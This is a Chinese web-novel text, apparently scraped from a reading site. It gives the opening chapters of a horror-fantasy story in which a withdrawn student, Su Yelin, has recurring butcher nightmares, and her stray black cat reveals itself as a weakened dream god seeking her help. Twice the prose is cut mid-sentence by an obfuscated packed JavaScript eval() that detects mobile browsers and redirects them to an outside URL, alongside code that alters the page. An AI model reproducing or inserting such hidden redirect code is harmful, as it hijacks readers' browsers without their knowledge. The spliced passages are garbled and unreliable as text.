《白天唯唯诺诺的人会在梦里重拳出击[无限]》 1. 诡梦夜 苏夜凛倏地睁开双眼。 虽然睁开了眼睛,她的视野仍然蒙着一层浓沉的暗色。 自己应该是在室内,仿佛不流动的宁静空气,有些凝滞的氛围,背靠的墙面上微凉光滑的触感。 她挪了挪身体,转头看见宽大的窗户,黑色的铁窗框方正沉重,高悬的银月并不亮堂,仿佛被深暗的蓝色裹住了其光晕。 还没来得及疑惑,一阵声音传入苏夜凛耳中,大概是从隔壁房间传出,吭、吭、吭……有节奏的、沉重的,刀刃劈砍砸在砧板上的声音。 她被这种声音唤起一阵心慌,收紧呼吸张望四周,视线捕捉到了墙面中间的一只古老座钟,惨白的表盘没有被夜色吞没,指针正在往12点靠近。 除此之外……好像就什么也没有了,黑暗之中似乎一片空乏,至少她是这么看到的。 发现身边的环境只有单调浓稠的黑暗之后,苏夜凛感觉自己的内脏里非常滞重,好像有什么东西攥住她的心胃,。没由来的恶心感,叫她一瞬间疯狂地想要冲出房间。 因此她又意识到怪异之处——这个房间并没有门。 她感觉皮肤上爬来一股不适,只能走到那个座钟跟前一探究竟。 走近了才发现那表盘下并不是钟摆,而是一扇窄门。可这单人通过都困难的门,却在正中心配了一个巨大的铜质门把手,像是长了一个金属肿瘤那样突兀。 门把手下,又是一个不协调的、略大的锁孔,位置有点低,她得半蹲着才能看清——透过那些微的空隙,她瞄到了一墙之隔的另一空间。 光线杂乱昏黄,被污渍弄得斑驳的白墙上,是一个耸动着的灰色影子,在光源的投射之下显得格外臃肿庞大。 应该是个男性,苏夜凛透过锁孔,大致能看清影子的动作。 她费劲地挪动身体,看到一个油污的帽子,以及粗壮的、赘肉堆积出褶皱的脖颈。 “他”动作很单调,只是高高地扬起手中的刀具,再使劲砸下去。甚至重复动作的时间间隔都差不多,像被设定好的机器。 但是苏夜凛知道他肯定是个“活的东西”。 因为那粗重的呼吸声,连带着胸腹跟着起伏,高扬重砸的动作太费力气,使得腰背也不停耸动;影子身后的桌子上,桌布被染成血块凝结的暗红色,还有油渍酱料香辛料,脏污一块看不出原状,巨大的铁盆表面已经有点锈迹斑斑,盛着一滩看不出是什么东西的混黄色汤汁,里面大块的红黑色的肉类乱七八糟地垒在一起粘连。 桌布的一角随着巨大的劈砍声翻飞,苏夜凛感觉那砍刀声也越来越大了,当!当!当!那震动直撞她的耳膜! 她被震得手掌抵住太阳穴,瞬间明白了什么——他在切割那种大块的骨头,用钝重的刀头,砸得血肉模糊! 她看不到那场景,但她知道那一定是新鲜的,鲜血淋漓的东西!有一根一根连着的肋骨,脏器还在跳动! 她感到一股无法描述的震悚,发麻的战栗感渗入毛孔,但是下肢像被注射了抽取气力的药剂,僵硬发麻无法挪动。 呼吸越发急促,她感觉自己在发出声音,感觉自己的喘气声突兀得打破了宁静,像一只过于紧张的野生动物,这样会吸引门那侧的男人的注意、这样会暴露自己,但是她似乎控制不了自己…… 但是……他难道不是一开始就知道自己在这里吗?难道不是这男人把自己关在这里的吗?放在这里、关在这里……她瞳孔紧收,她感觉自己突然越过了这堵墙看到了对面的一切! 一切……一切,一切!灰黄黑白红棕黄褐交织在一起陈化的墙皮渗水翘起的地板、爬满虫孑的低矮天花板上铁钩悬吊的一块又一块大片的风干肉块、油污结块的料理台上散乱的餐具还有无数长短钝利的刀具…… 她越不过去这扇门她不知道发生了什么但是能看到那场景她真的能看到,她从小就讨厌看别人切肉红色的肌肉白色的脂肪不停被分割,割不开的地方就狠狠地划上两刀让粘腻软塌的纤维分离,为什么没人觉得恶心这难道不算是在肢|解尸体吗为什么没人觉得恶心所以那种恶心的场景那种令人作呕的气味她无法忘记,此时生肉腐烂的臭气血沫飞溅的腥味传到鼻腔里! 迅速发酵的想象像是剥夺了身体的热量,她腿一软,支撑不了身体扑到在地。 膝盖的疼痛叫她有点清醒了,方才那沉重地敲击耳膜的声音也变浅了一些,她扯紧自己的衣襟,神色虚无地盯了几秒门上那肿瘤般的铜色把手,随后颤抖着起身。 ——就在此时,格外清晰的“咔哒”一声。表盘上的时针和分针重叠。 当——当—— 12:00,冰凉又沉厚的钟声下沉,重敲了苏夜凛的脊骨。 同时,墙壁那侧钝重的挥砍声也戛然而止。 紧接着她听到了脚步声。 胶底的鞋子踏在地面,笨重又略显急促的声音,越发清晰…… 苏夜凛全身悚然,狼狈地爬起,朝着窗户的方向疾冲,发丝飞起。即便是这么点距离,也足够让她的恐慌在这狭窄的间隙中升温膨胀,心肺几欲炸开。 唯一的出口、唯一的光源、唯一“向外”的通道! 但是,就在她撑住窗沿的瞬间,她发现了、怎么会现在才发现呢? 那一条一条的铁条窗框平行交叉,严密地封住玻璃,没有推拉的轨道、也没有锁扣。这根本不是窗户,仅仅是一面被封死的玻璃!! 她双手无望地紧紧压在窗玻璃上,惊惧和紧张收缩,爆发成不可抑制的狂躁。 她想要敲击捶打、想要狂吼出声、想要惊叫着拍打这窗户直到碎裂的玻璃片划烂手掌——但是这个念头甫一出现,仿佛有什么东西死死扼住了她的喉咙,叫她只能从嗓子里挤出滑稽荒唐、可悲又可笑的嘶哑气音。 因此她的双拳狠狠砸在了玻璃上,咚、咚,沉闷又短促的回响仿佛在嘲讽她过于无力。 苏夜凛更加不顾一切地捶着窗户,深蓝色的夜空、远处依稀可见的山脉轮廓、冷眼旁观的月光,像印刷出的塑料画片一样模糊又虚假…… 紧接着,拳头再次砸在玻璃上的瞬间,外面的景色全部消失了——一片黑沉。像是巨大的显示屏突然熄灭一样。 连带着,整个房间也陷入彻底的黑暗与沉寂。靴底的声音、钟摆的声音,全部都掉入深潭,仿佛不曾存在过。 伸手不见五指,她甚至怀疑自己是致盲了,只有剧烈的心跳和呼吸声被放大数倍。 扑通、扑通、一秒、两秒…… 苏夜凛稳住重心,挪动双脚后退了一点点,她不知道为什么脚下仍然是地板的触感。 身边没有了令人不快的声音,她试着凭着直觉朝身边摸索,找出安全移动的路线。 下一秒,正对着苏夜凛的眉心,玻璃破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016889|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎的声音迎面扑来。 “??” 尖锐的声音飞溅,刚刚安定下来的心绪也被割得七零八碎。 巨大的破裂声之中,昏黄的灯光泄出片缕,一道铁色的冷光劈砍而下。 “呜……”过于冲击的突发状况叫苏夜凛失声颤抖,失去重心,身体向后倒去…… 那是一把血迹斑斑、背部厚钝、刃部极长极锋利、有一块突出尖刺的大刀。异形一样突出的钢刺停在少女的眼前,离眉心不足几厘米。 苏夜凛这才感觉到,极度的恐惧下,人连声音也无法正常发出。然而更坏的是,此时,又有别的什么东西爬过她的脸颊。 像是被毛绒玩具的质感,好像有点温度,干燥软和,或许不是什么让人恶心的东西,但是此刻拂过她的皮肤,反而刺激了极度紧张的神经,更叫人毛骨悚然—— “啊啊啊啊啊啊啊啊啊啊啊啊!!!” 恐慌与崩溃突破了阈值,苏夜凛终于爆发出所有的力气,尖叫出声,感觉自己的喉管都泛出撕裂的血味,好像突破了刚才那仿佛扼住咽喉的无形力量。 她的尖叫好像扭曲了身边的一切,吐出浓腻沉重的黑暗、令人心胃纠扯的空气,所有东西都朝着一滴白色光点疾速坍缩、离她远去…… === 随后,苏夜凛倏地睁开双眼。 映入眼帘的是,蓝灰色、没有任何花纹的单调床单,被子乱卷着皱成一团。 紧接着……温金色、有点刺眼的光芒渗进她的神经。她抬头,心脏擂鼓一般狂跳,在意识归位之前,剧烈的失重感和心慌蔓延到四肢百骸。 原来只是噩梦。 她下意识地抱紧自己,短暂的眩晕感后,房间天花板的图案拓印在脑中,好像慢慢拽回了她的心神,让一切缓慢地朝着“正常”的状态回流。 没有前因后果,毫无逻辑的诡谲,却又用非同寻常的恐怖感压迫得她心悸的噩梦…… 苏夜凛摸了摸头顶,乱糟糟的长发干燥又柔软,稍微提供了一点真实感。 说实话,她天生就是很容易做梦的人,最近也是莫名其妙地怪梦变多了,她只当这是搬到新环境产生的不适应。 但这回是第一次有如此清晰的画面和印象回涌进她的脑袋,久久不散的恐慌余韵把时间都拉长了,她甚至能回忆起梦中一块块碎片连结出的影像。 心中的惊慌缓和之后,她发觉此时的自己姿势相当怪异,一条腿跪坐在地面,半个身子还趴在床边,像是从床上滚下来的样子。 同时肩膀和耳后好像有种奇妙的热量贴上来。 和梦中那个东西的触感实在太相似,叫她无法分辨这是什么——毛茸的、干燥,软和的东西拂过她的脸颊...... “啊!!!”她控制不住地再次发出尖叫,只是这次她感觉得到自己的声音是如此“实在”。 “!”下一秒,“那个东西”轻巧地跳到她面前,被她的惊叫声震得两个绒绒的尖耳朵一颤,爪子一撑身体后缩,呈防御姿态瞪大圆溜溜的蓝眼睛看向她。 “呜喵?”被吓得僵直片刻之后,面前的漆黑生物眨巴着眼睛,试探着用握成拳的小爪子朝她挥了一下。 “啊……是露娜?”苏夜凛撑着脑袋,认真端详着眼前的生物。 感受到她茫然又专注的视线,对方也偏头,一人一猫对视沉默良久,好不滑稽。 2. 秋晴天 这只猫是她两周前捡回出租屋的,那天淅淅沥沥下着雨,这只小家伙在这老旧的居民楼屋檐下避雨,浅蓝色的圆眼睛孤独地望着远处。 碰上跌跌撞撞跑回到单元门口的苏夜凛,它也没有惊吓躲避,和额发浸湿的女孩互相对望着。 也不知道当时是什么在驱使,她就产生了“照顾它一晚”的念头,领着这只虽然沾了雨水,但是看起来相当干净、有点高冷的野猫回家了。 在这之后,偶遇的小来客也自然而然般成了她生活中的一部分。它和一般的野猫确实大不相同,完全不应激反抗,但并非是处于乖巧,倒像知道苏夜凛不会伤害自己,所以极其心安理得地享受着她的关怀。 苏夜凛给它留了个窗缝,想出去玩了它会自己翻出窗外,需要这个避风港了就轻巧地跑回来。虽然不热情,但它出奇的聪明和安静,不用人操心。 那天苏夜凛拆开一块方形的小毛巾,轻轻地擦拭乌亮毛皮上的水渍。 她想到小时候最喜欢的动画里也有一只黑色小猫,虽然记忆中那只活泼的吉祥物与眼前这只除了颜色,其实没什么相同的地方,但她还是忍不住将它们联系在一起。 “像是咪咪、小黑什么的太无聊了,叫你露娜好不好?” 那一瞬间,她感觉那双蓝色眼瞳闪过一丝不屑的色彩,是错觉吗? “……啊,等等,难道说你是男孩子?”她迟钝地回忆起来,可之前也是真的没注意过。 说到此处,苏夜凛想再抱起小猫确认一下它的性别,没想到百无聊赖地用尾巴拍打被单的黑猫看她的动作,直接一个闪身溜下了床铺。 “呃,没关系,你只是一只小猫咪!小猫咪知道什么呢!名字里指向的性别表现之类的,只是人类在自己的语境里强加的东西!你说对不对露娜?……别跑掉啊!” ==== 初遇的场景闪过脑海后,饱受梦魇折磨的苏夜凛看着床铺上的露娜,不禁微笑起来,伸手摸了摸这只热烘烘的小毛球,黑猫矜持地低头舔了舔爪子。 ……奇怪,明明已经从梦中惊醒,她怎么好像脑子还是十分滞后,需要刻意地“想起”自己身边的一切呢? 意识到萦绕在自己身边的违和感,苏夜凛的手也停滞了一下。 的确,若不是露娜出现在自己面前,自己似乎根本都忘记了这只猫的存在、甚至自己的身份、处境……就像失去了自我认知一样。 她深呼吸,却立刻又觉得这些想法都是杞人忧天。 她是苏夜凛,一个普通的大二学生,用打工钱和攒下来的生活费租了一个独居小屋的在校生;沉默的不惹眼的,不算讨喜的女生;成绩中上、气质温吞、一眼就看得出没什么魄力,随处可见的女大学生…… 她手搭在床沿,感觉本就没精打采的自己因为噩梦元气大伤,即便下午还有课,她也不是很想起来收拾自己…… ——等下,下午有课? 那么现在是几点?她赶忙摸来枕边的手机,按了按开机键,毫无反应——也不知道怎么就没电了。 她一个打挺窜起来,去看书桌上的电子表——12:40,不至于迟到缺席,但是对于连午饭都没吃、甚至人都没太清醒的自己而言,这个时间也绝不是可以悠哉游哉的。 她拍了拍自己的脸颊,忙不迭地往洗手台跑,打开镜面的小柜子后,又是发现束发带不知道被自己丢哪去了,一会儿又是洗面奶只能挤出一点稀薄的底液…… 就在苏夜凛仓皇捯饬自己的时候,毛皮黑亮得能在太阳下泛起柔光的猫轻巧地一动,从窗沿逃了出去。 ======= 课程结束后,苏夜凛走在夕阳渐下的林荫道上,抱着刚从打印店拿走的作业,眼光大致扫过纸面。 九月的凉风扫起大片落叶,金色的赤色的、银杏叶与红枫,有一片停泊在停在她棕色的皮鞋上,好像精心雕琢的饰品。 苏夜凛低头,见到鞋面上的一片枫叶与小腿袜包裹的脚踝,组合起来有点别致的漂亮,她停下脚步,莫名觉得心情变明亮了一点,嘴角泛起一点点笑意。 “……凛?哎、叫你呢?”同时,身旁传来熟悉的音色,将她自顾自下沉的注意力拉了回来。 苏夜凛赶忙抬头,眼前一高一矮的两个女生冷冷看着她,前面略高的那个扶了扶自己的贝雷帽,叉着手叹了口气。 “叫你好几次了,真的听不见啊?” 苏夜凛有点语塞,她挠了挠头,懊恼于自己的反应迟钝。是啊,毕竟就这么大点的校园,怎么可能不撞见自己的前舍友呢? 虽然现在苏夜凛已经搬出学校宿舍了,但是四个年龄相仿的女孩曾在那个十平米的房间共处一年这个事实,当然不会改变。 “……不好意思,在想事情呢。”苏夜凛将窘迫的情绪强咽了下去,回复着对方。 “哎呀,没关系~反正小苏一直都这样,也不知道在想什么,经常什么都看不见的。”后面身材娇小的短发女孩也探头,笑吟吟地说着。 “噢,那也是。”面前的女生扯了扯嘴角表示赞同,“你怎么样呀,一个人住是不是挺爽的。” “还好……”这实在是有点难熬的一场对话。苏夜凛感觉每吐出一个字,自己体内稀薄的能量都在不断往外逃窜,眼神也跟着飘忽起来。 “那当然啦,小苏这样的大小姐,肯定更习惯一个人住着,以前就说自己不喜欢集体生活嘛。”短发少女仍在轻快地往对话中添油加醋。 “……” 见苏夜凛沉默片刻,气氛瞬间冷僵,高个女生清了清嗓子,又递来橄榄枝: “就是说,我们现在要去食堂,小苏你一起去不?” “啊?不了……”拒绝的词语条件反射一般,涌到苏夜凛的嘴边。 “哦,一阵子没见,差点都忘了你不爱吃食堂......不过我们就这条件,也没办法陪你去外面吃。”前舍友捋了捋自己挎包的背带,不咸不淡地评价着。 “我……不是这个意思。“苏夜凛感觉自己胃里不舒服,纷繁的情绪逐渐沉淀为浓重的颜色。她抬起眼睛,盯着面前的两人。 她感觉目光相接的一刻,正对自己的女孩稍微退缩了一点——是不是没有控制好自己的眼神?是不是露出了不友好的凶煞,让她感觉到冒犯了? 但即便如此……苏夜凛也不想纠正自己的冒犯。 “咳,行了行了,咱们自己去呗,小苏只是不想和我们吃饭而已,都一年了,你还没懂人家意思。”短发女孩神情变得冷淡了些,声音放低,仿佛是在和高个女生私语,但苏夜凛还是全听见了。 “你误会了,只是我——”一点一点,阴燃的火苗在苏夜凛心底聚集起来,她深吸一口气,绽放出一个笑容,镇定地回复,“我今晚有约了,所以不好意思,阿莉,心媛。下次我请你们吃饭呀。” “……啊?”被叫做阿莉的女生突然站直,睁大了眼睛,“怎么怎么,有男朋友了?” “啊哈哈,你 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从学校到出租房的距离不远不近,苏夜凛心里默默计算。她可以去途中的步行街买杯奶茶、可以去看看今天广场中心会不会有那个乐队来演唱、运气好的话今天露娜也回家,还可以和它玩,自然就能把这点小插曲抛诸脑后……忘掉吧、全忘掉吧。 明天还要去社团,下周还要去打工,她的生活可是充实忙碌的,没有空去纠结一些模棱两可的事……… 所以陈莉和梁心媛会对她暧昧的态度借题发挥吗?会去学校论坛发匿名帖子、和她们专业的女生窃窃私语吗?会把自己无关紧要的几句话、不合时宜的几个表情动作当成一种谈资来取乐吗?开玩笑吧,一般人哪能这么无聊。 但是恐怕、她们会的……苏夜凛知道,因为她们已经这样做过了。 所以说现在的状态已经很好了。不必在明知道她们会这样做的时候,用木讷、呆滞的表情隐藏尴尬,不用继续挂着“神游天外”的脸被背后指指点点,已经让她很开心了。 就当作和自己无关吧、在小小的茧房里做自己的梦吧,再熬一熬,这样乏善可陈、笼罩着浅灰色滤镜的大学生活,也会不知不觉间结束的…… 她匆忙地戴上耳机,电吉他和鼓点之中,女歌手撕心裂肺的呼喊声像浪潮一般占满思绪。 ======= 苏夜凛朦朦胧胧地睁开眼,一见窗外的天色,很显然已是半夜。 晚上回到她的小避风港后,苏夜凛花了点时间复习和做作业,露娜今天没回家,她兴致也不是很高,只有无聊地刷刷视频,很快感到困顿,便环着松软的柯基抱枕入睡了。 这么一看自己睡得也不是很沉,莫名其妙又醒了。苏夜凛揉揉脑袋,干脆起身去洗手间。 拖鞋走在木地板上,沁冷的秋月越过窗框铺下一片浅光,书桌前苏夜凛的影子被蓝蓝的夜色拉长。 “……好亮啊。”看着银蓝的月色驻足两秒,苏夜凛自言自语,随后又朝着洗手间走去。 房间面积很小,迈开两三步后她便习惯性地伸手推门。 可是就在此时,苏夜凛猛地发现有什么不对。 屹立在自己面前的,不是洗手间印着花朵的玻璃门,而是一只古老的座钟。 表盘上秒针在一点点转动,发出滴答、滴答的声响,时针正在往12点靠近。 那表盘下并不是钟摆,而是一扇窄门。可这单人通过都困难的门,却在正中心配了一个巨大的铜质门把手,像是长了一个金属肿瘤那样突兀。 同时传入苏夜凛耳中的,还有从门后传来的另一种声音。吭、吭、吭……有节奏的、沉重的,刀刃劈砍砸在砧板上的声音。 3. 冷银月 苏夜凛瞳孔紧收——这场景、好像自己是见过的。不,无疑自己是见过的…… 什么时候?什么地方?在这个屋子里见过? 怎么可能忘记、怎么会忘记,这鲜明地刻印在脑海中的场景!她才经历过,却如何也无法忆起! 不对,这一切是正常的……自己的房间就是这样的!一切正常! 狭窄的空间,陈旧的木地板,泛黄的墙皮上,钟表和门相连,窄窄的门扉上,嵌着巨大的门把手,把手下的钥匙孔缝隙,可以看见对面的场景,想要通过这扇门,也只能通过这一点缝隙! 是的,没有钥匙的她,只能从这里过去!让身体穿过这锁孔,把自己硬塞进去!她想到这里浑身发抖,如何穿过这空隙?把她千刀万剐,然后塞进去?把她千刀万剐,然后塞进去! 她颤颤巍巍地蹲下,渴望着能通过锁孔看清另一边的样貌。 原本这个房间应该是什么?苏夜凛想啊想啊想,那呼之欲出的答案却越来越模糊,成了一团浑浊地在水中搅动的颜料,她的瞳孔与锁孔重合,“那边”的光景入侵她的视网膜。 光线杂乱昏黄,被污渍弄得斑驳的白墙上,是一个耸动着的灰色影子,在光源的投射之下显得格外臃肿庞大。 “他”动作很单调,只是高高地扬起手中的刀具,再使劲砸下去。 苏夜凛睁大了眼睛,她看不清但是她知道那砧板上有什么东西,一定是新鲜的,鲜血淋漓的东西!有一根一根连着的肋骨,脏器还在跳动! 她看到了她看到了,那是长长的有点泛红的头发,那是苍白的皮肤,那是纤细的女性肢体,那是敛下的睫毛无神的眼睛,那是顺着大理石桌面垂落的发丝,那是微张的血色淡薄的嘴唇。 那是自己、那是苏夜凛。 那是躺在料理台上的少女、那是即将被千刀万剐的苏夜凛!! 刹那间,搅合粘连在一起的浊气涌入苏夜凛的胃肠肺心,她感觉视线昏聩,供氧不足,反胃感瞬间爬升,她赶忙捂住嘴,但还是无法制止自己的呕吐。 呕吐出的是黑色的浓稠物质,不断从自己的食道涌到喉管再喷吐而出,她弓着腰撑着地,内脏里翻江倒海的苦楚无法抑制。 好痛苦、好恶心、好痛苦、却也无法停住——她完全控制不住自己的呕吐声,她觉得自己嗓子眼里冒出的声音甚至盖过了那砍刀剁骨的节奏…… 就在她感觉反胃感终于停下、视野变得正常的时候,她意识到一件事——砍刀的劈砍声停下了。 取而代之的、是胶底的鞋子踏在地面,笨重又略显急促的声音…… 是的,她惊动对方了,她无法掩饰的声音吸引了注意力…… “……” 苏夜凛平复呼吸,急忙要站起来,但是一地污渍好像变成了黑色的湖水和沼泽、抓住她的膝盖和小腿肚,她站不起来。 接着更糟糕的事情出现了——就在她的头顶,座钟的指针朝着12点重合,当——当——冰凉又沉厚的钟声下沉,击穿她的脊骨。 她会死、她会死在这、这是死亡的钟声! 巨大而不可控的恐怖感压垮了少女的骨骼,她的反抗意识也全部被侵蚀剥夺,她甚至能看到门那一侧、高举起长刀的壮硕男人,一身横肉,满衣油污,手中的刀具锈迹斑斑、极长极锋利、有一块突出尖刺…… 苏夜凛万念俱灰地闭上眼。 可是那落刀的声音,却并未如期而至—— 这一刹那,仿佛一切都变了。整个房间陷入沉寂。靴底的声音、钟摆的声音,全部都掉入深潭,仿佛不曾存在。 她又怯怯睁眼——房间的一切似乎没有变化,但是镀上了一片蓝色,是让人联想起窗外那轮明月的银蓝色。 在这片宁静的色泽中惊魂未定的苏夜凛抬起头,瞧见那座钟——它稳稳地停留在12:00,再也不肯走动一点。 刚才自己的呕吐仿佛也只是幻觉,黑色的污秽一点也不见,她的意识也变得正常了许多,终于有气力撑着地板起身。 “……先冷静。” 突然地,一个声音传入苏夜凛耳中。是和自己年龄相仿的男生的声音,清凉的音色像是玻璃或冰水,语气还算柔和。 ——但是、这个空间中,又为什么会有“其他人”? 苏夜凛侧目张望,并没有预料中的男性身影,站在蓝色光晕中的,是一只娇小、通体漆黑的毛绒生物。 “露娜……在说话?”苏夜凛不可置信地盯着眼前的黑猫,那浅蓝色的圆眼睛正对着她。 “到底为什么起这个名字?人类真是喜欢给其他生物强加自己的解读。” “露娜”的语气有些无奈,虽然并没有看到它的嘴巴动起来,但苏夜凛就是能听到它的言语。 “我……能听懂猫讲话了?”苏夜凛还是搞不清状况,茫然地环顾四周。 “……在你思考那些无关紧要的事情之前,苏夜凛小姐,”黑猫稍微偏头,随后优雅又轻巧地跳到座钟的顶部,眼中的蓝色比白日深沉,望着苏夜凛,“不如先想清楚一个问题——你现在在哪里?” 苏夜凛语塞了片刻,自刚才开始,她的确未曾思考过自己是“在哪里”,或是“想做什么” “是……我的房间。”仿佛受到引导,苏夜凛静下心来回答。 “你这样认为吗?这是你‘真正’的住处吗?”黑猫摆起尾巴,与她对视。“你不如想想,你听到的钟声是从何而来……?毕竟你看——这座钟,甚至没有钟摆。” “!”苏夜凛跟着黑猫的话语,感觉有什么在自己思维中生根发芽。“是的,这很奇怪,很奇怪……没有钟摆的钟,不应该发出声音……” 黑猫继续说道:“对,那你有没有觉得还有别的奇怪之处?在你的房间,真的有这样的钟、这样的门吗?在门后,原本应该是什么呢?” “……!不,没有,这里应该是玻璃门,这里应该是洗手间……”苏夜凛开始质疑眼中的景色,似乎理智在脑中苏醒了些许。 “有人和你一起住吗?门后面应该有那个男人吗?” “不对!不是!我是一个人住的!!”她惊慌地呼喊起来,不知为何一提到“那个男人”,她就没法止住泛滥蔓生的恐惧,连忙摇头。 “没错,这扇门和那个男人,都是不该存在的异物,只是你很难意识到这点,也无法靠自己的力量逃脱——我在这里,就是帮助你用其他方法突破。” “……”苏夜凛愣了愣,不知道为什么,她觉得理解这些词句有些困难,就连这只猫本身的存在也变得飘渺起来。 见她不语,黑猫动了动耳朵,语气更慢了点,“苏夜凛,既然这房间和你认知中的‘不一样’,那它还是真实的吗?门后的男人不是你的‘同居者’,那你有没有在什么地方见到过他呢?” “是……假的?这不是真实的……“她顺着黑猫的发问开始思索,“我见过他。” “什么时候、在哪里见过他?” “在——梦里,在、昨天……”这几个字一成型,苏夜凛即刻恍然大悟,“对,我是在梦里见到这一切……我现在,又回到了梦中。” “完全正确。”黑猫的语气总算多了一些肯定的意味,“让我们理清楚一切,在现实中,你会怎么推开这扇门?” “我会、拧开把手……”苏夜凛机械地吐出这几个字,紧接着又不寒而栗,“锁孔、我没有钥匙、过去!千刀万剐,塞进去……他要来了!他要把我剁碎!” “错了。”短短两个字,把苏夜凛的思绪钉回了镇静。“是你要进去。” “我不进去!”——躺在料理台上,被砍碎!做成风干肉块,用铁钩悬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她双手捏紧把手,看到圆形把手中央的小按钮,灵光一闪。 苏夜凛出演不了屠夫、但苏夜凛可以是优雅的王子,或是飒爽的骑士……这些才是她想要的角色,是从小到大都憧憬的角色! 她的拇指按下那按钮,想象着自己穿着骑士着装、执细身长剑的身姿…… 突然之间,她的视野越过了这扇怪异窄门的阻隔,看到了一切——在她拧转把手的一瞬间,细长锋锐的剑尖突刺而出,寒光一烁,那男人壮硕粗厚的身躯停了下来。 同时,一切又开始收拢坍缩。 苏夜凛睁开双眼。 她先是恐慌地摸了摸自己的脸颊,有肌肤的温度和触感——但仍然无法支撑她确定自己的处境。 她跪在地板上垂着脑袋,疲劳地盯着地板的接缝。今天的月色好像很亮,木质的材料上洒下一片银蓝色的光。 “恭喜,你成功地击碎了梦魇。” 苏夜凛闻声一阵寒噤。她实在很讨厌突然出现的声音,但是这声音似乎有点熟悉,叫人没那么抗拒,她本能地抬头。 她怔在原地。有人随意地靠在书桌边上,他看起来与自己年龄相仿,身段清瘦颀长,简洁的白衬衫和黑色的领结,背对着玻璃窗外朗亮的月色,轻松的姿态让人想起某些优雅的动物。 “如我所料,你确实很有天赋,很多人在那种疯狂的驱使下,是根本听不到我说话的。” 青年又补充了一句不明所以的话,至少苏夜凛现在是一个字也不理解。她只觉得那丝缎一样黑色短发下,蓝色的眼瞳总让她觉得似曾相识。 “你是……”苏夜凛笨拙地开口询问,却又想不到什么台词。 对方没有即刻回答,只是稍微偏头,指尖抵着下巴,挂着似是而非的微笑。眯眼的时候那蓝色变得幽玄,苏夜凛心空了一拍,她应该会用漂亮一类的词汇去形容这个脸。 “同时,也要对你表示感谢,苏夜凛小姐,你助力了梦境之主的复苏。” 4. 沿窗缘01 或许换个时机,这还能算是有些浪漫的场景,但是噩梦惊醒的寂静夜,在苏夜凛眼中映射成冰冷而怪异的邂逅。 苏夜凛愕然原地,甚至忘记了膝盖上隐约的麻痹感,盯着青年的面容。他冷白的皮肤在月光下看起来亦真亦幻,说出来的语句也是飘渺得难以捕捉。 “我还在梦里吗?”苏夜凛喃喃着,她跪坐地上,看着自己垂地的长长发尾。 她的头发天生泛红,成了一个打眼的特征,而她现在看见这颜色,只会回溯起那昏黄房间中,料理台上“被害者”无光的眼神,顿时又不寒而栗。 “现在,你的确从梦中脱离了。” “他”的脸上仍然挂着浅淡的笑意,语气比方才更温和了些。 “但不幸的是,你还会被那些梦魇所纠缠。” “……”苏夜凛小小地叹了口气,眼神变得冰凉,语气里那份固有的柔软怯懦也褪色成麻木,“无所谓了,不过是做做噩梦而已,对我来说也算不上是什么‘不幸’的事情。” “嗯,恐怕不是你想的这么简单。” 话音刚落,他轻巧地跳下了桌沿,半蹲下来,平视苏夜凛的脸。 苏夜凛晃神了一瞬,看见窗玻璃外投下的零落碎光摇曳。 “接下来我要说的事情很严肃,希望你细听,”他的嘴角没有了笑意,“正如我刚才所说,我是梦境之主,或者用容易理解一点的词汇,我是‘梦神’。 “我曾经遭受过毁灭性的打击,神格覆灭,几乎要消亡,机缘巧合之下才回到人间,因此——我在观察你们,而你是其中最强的。” 本来意识还模模糊糊的苏夜凛瞪大眼睛,不知怎的,刚才青年的言语都只像是风一样,但是说到“梦神”这样荒诞的词汇时,反而像重音一样点响了她的意识。 “这又是、什么意思?”苏夜凛抬眼,示意自己再认真听。 “意思是,我在寻找我的帮手,苏夜凛小姐,你是天生的「共鸣者」。你刚才差点被梦魇杀死,我是看重你的资质所以帮了你。那只被你叫做露娜的猫是我为了节省力量而幻化的形态。” “……”苏夜凛不知道作何反应,揉了揉自己的太阳穴,“看来我真的还没睡醒。” “一时间很难接受也正常,”看到苏夜凛的反应,“梦神”倒是愉快地笑了起来,“不过我还是必须要警示你—— “或许在你看来,噩梦只是睡眠时不愉快的插曲,但是,当恶质的梦境催生出梦魇时,对现实的冲击是不可控甚至毁灭性的。 “它们会化为无法抑制的冲动、粉碎理智的绝望,这世上发生的怪奇惨案,像是突然的行凶,无可追索的意外,也常常与梦魇有关。而你的处境十分危险,因为你天生容易受到梦魇的吸引。 “也就是说,你更容易梦魇带来的危机缠身,但是相应的,你能够窥见潜在的梦魇,还具备潜入梦境、将它们收割的潜质。 “而对我来说,这种潜质也意义非凡,收割梦魇会让我几乎消散的力量和神格重新恢复,所以结论是,我们需要联手,我引导你突破梦境,你消除那些可能侵蚀现实的梦魇。” 仔细咀嚼了这些内容之后,苏夜凛缄默良久——这是一场奇遇吗?自己突然成了什么魔幻故事的主角一样,做着维护和平、消除危机的暗夜英雄。 但是对于畏缩久了的她,这一切浪漫神秘的故事都毫无实感。 而且至少就刚才的体验而言,她实在不觉得游荡在噩梦里算什么振奋人心的冒险。 “不好意思,感觉你可能找错人了,”她恹恹地垂下眼睛,“清扫梦魇、帮你恢复力量……?听起来还挺有意思,但是不做也没什么,对吧?我只是个自己的生活都一团糟的大学生,我最害怕这种吃力不讨好的事情了。” “是吗?但是如果,你不做就一定会有坏事发生呢?”不知道是不是错觉,苏夜凛总觉得他这句话带着隐刺一般。 “比如说,不去收割梦魇你自己就会死之类的。” 她抬了抬眼皮,注视着青年的面容。 青年以为她是陷入惶恐,准备静待她的答复,没想到少女脑袋一仰,露出格外纠结的表情,胡乱地捋了捋乱成一团的头发。 “啊啊啊,烦死了烦死了!难得梦到个长的美的人型生物,怎么也不讲点有趣的事情啊!说些有的没的!” 